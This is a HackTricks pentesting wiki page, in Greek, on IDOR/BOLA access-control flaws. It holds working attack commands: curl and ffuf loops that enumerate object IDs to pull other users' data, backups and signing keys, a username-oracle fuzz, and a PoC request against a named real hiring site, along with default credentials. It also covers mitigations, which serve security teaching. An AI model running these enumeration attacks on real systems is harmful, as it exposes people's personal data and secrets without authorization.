IDOR (Insecure Direct Object Reference)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν user–controllable identifier που χρησιμοποιείται άμεσα για πρόσβαση σε ένα εσωτερικό αντικείμενο χωρίς να επαληθεύεται ότι ο καλών έχει εξουσιοδότηση να προσπελάσει/τροποποιήσει το αντικείμενο. Η επιτυχημένη εκμετάλλευση συνήθως επιτρέπει οριζόντια ή κάθετη privilege-escalation, όπως την ανάγνωση ή τροποποίηση δεδομένων άλλων χρηστών και, στη χειρότερη περίπτωση, full account takeover ή mass-data exfiltration.
1. Identifying Potential IDORs
- Αναζητήστε παράμετρους που αναφέρονται σε ένα αντικείμενο:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Προτιμήστε endpoints που διαβάζουν ή ενημερώνουν δεδομένα (
GET,PUT,PATCH,DELETE). - Σημειώστε πότε οι αναγνωριστές είναι ακολουθιακοί ή προβλέψιμοι – αν το ID σας είναι
64185742, τότε64185741πιθανότατα υπάρχει. - Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. “Paradox team members” link σε σελίδες login) που μπορεί να αποκαλύψουν επιπλέον APIs.
- Χρησιμοποιήστε μια authenticated low-privilege session και αλλάξτε μόνο το ID κρατώντας το ίδιο token/cookie. Η απουσία σφάλματος εξουσιοδότησης συνήθως είναι ένδειξη IDOR.
Γρήγορη χειροκίνητη τροποποίηση (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Αυτοματοποιημένη αναγνώριση (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Εντοπισμός προβλέψιμων IDs λήψης (ffuf)
Πάνελ φιλοξενίας αρχείων που απαιτούν πιστοποίηση συχνά αποθηκεύουν μεταδεδομένα ανά χρήστη σε έναν ενιαίο πίνακα files και εκθέτουν ένα endpoint λήψης όπως /download.php?id=<int>. Αν ο χειριστής ελέγχει μόνο αν υπάρχει το ID (και όχι αν ανήκει στον αυθεντικοποιημένο χρήστη), μπορείς να σαρώσεις το διάστημα των ακεραίων με το έγκυρο session cookie σου και να κλέψεις τα backups/configs άλλων χρηστών:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frαφαιρεί 404-style templates ώστε να παραμείνουν μόνο τα πραγματικά hits (π.χ., IDs 54/150 leaking full site backups and signing material).- Η ίδια ροή εργασίας FFUF λειτουργεί με Burp Intruder ή έναν βρόχο curl — απλώς βεβαιώσου ότι παραμένεις authenticated ενώ αυξάνεις τα IDs.
Error-response oracle for user/file enumeration
Όταν ένα download endpoint δέχεται τόσο ένα username όσο και ένα filename (π.χ. /view.php?username=<u>&file=<f>), μικρές διαφορές στα μηνύματα σφάλματος συχνά δημιουργούν ένα oracle:
- Μη υπάρχον username → “User not found”
- Κακό filename αλλά έγκυρη extension → “File does not exist” (μερικές φορές επίσης απαριθμεί διαθέσιμα αρχεία)
- Κακή extension → σφάλμα επικύρωσης
Με οποιαδήποτε authenticated συνεδρία, μπορείς να fuzz τον παράμετρο username ενώ κρατάς ένα benign filename και να φιλτράρεις με βάση τη συμβολοσειρά “user not found” για να ανακαλύψεις έγκυρους χρήστες:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Αφού εντοπιστούν έγκυρα ονόματα χρήστη, ζητήστε συγκεκριμένα αρχεία απευθείας (π.χ., /view.php?username=amanda&file=privacy.odt). Αυτό το μοτίβο συχνά οδηγεί σε μη εξουσιοδοτημένη αποκάλυψη εγγράφων άλλων χρηστών και σε διαρροή διαπιστευτηρίων.
2. Πραγματική Μελέτη Περίπτωσης – McHire Chatbot Platform (2025)
Κατά την αξιολόγηση της πλατφόρμας πρόσληψης McHire που τροφοδοτείται από Paradox.ai, εντοπίστηκε το ακόλουθο IDOR:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}– 8-ψήφιος, διαδοχικός αριθμητικός αναγνωριστής
Μειώνοντας το lead_id, ο ελεγκτής απέκτησε τα πλήρη PII τυχαίων αιτούντων (όνομα, e-mail, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας) καθώς και ένα consumer JWT που επέτρεψε session hijacking. Η απαρίθμηση του εύρους 1 – 64,185,742 αποκάλυψε περίπου 64 εκατομμύρια εγγραφές.
Αίτημα Proof-of-Concept:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
3. Επιπτώσεις του IDOR / BOLA
- Οριζόντια κλιμάκωση – ανάγνωση/ενημέρωση/διαγραφή δεδομένων άλλων χρηστών.
- Κάθετη κλιμάκωση – χρήστης με χαμηλά δικαιώματα αποκτά λειτουργίες μόνο για admin.
- Μαζική παραβίαση δεδομένων αν τα identifiers είναι διαδοχικά (π.χ., applicant IDs, invoices).
- Κατάληψη λογαριασμού μέσω κλοπής tokens ή επαναφοράς κωδικών άλλων χρηστών.
4. Αντιμετώπιση & Καλές Πρακτικές
- Enforce object-level authorization σε κάθε αίτημα (
user_id == session.user). - Προτιμήστε indirect, unguessable identifiers (UUIDv4, ULID) αντί για auto-increment IDs.
- Εκτελέστε τον έλεγχο πρόσβασης server-side, μην βασίζεστε σε hidden form fields ή UI controls.
- Εφαρμόστε ελέγχους RBAC / ABAC σε κεντρικό middleware.
- Προσθέστε rate-limiting & logging για να εντοπίζετε enumeration των IDs.
- Δοκιμάστε την ασφάλεια κάθε νέου endpoint (unit, integration, και DAST).
5. Εργαλεία
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
Αναφορές
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

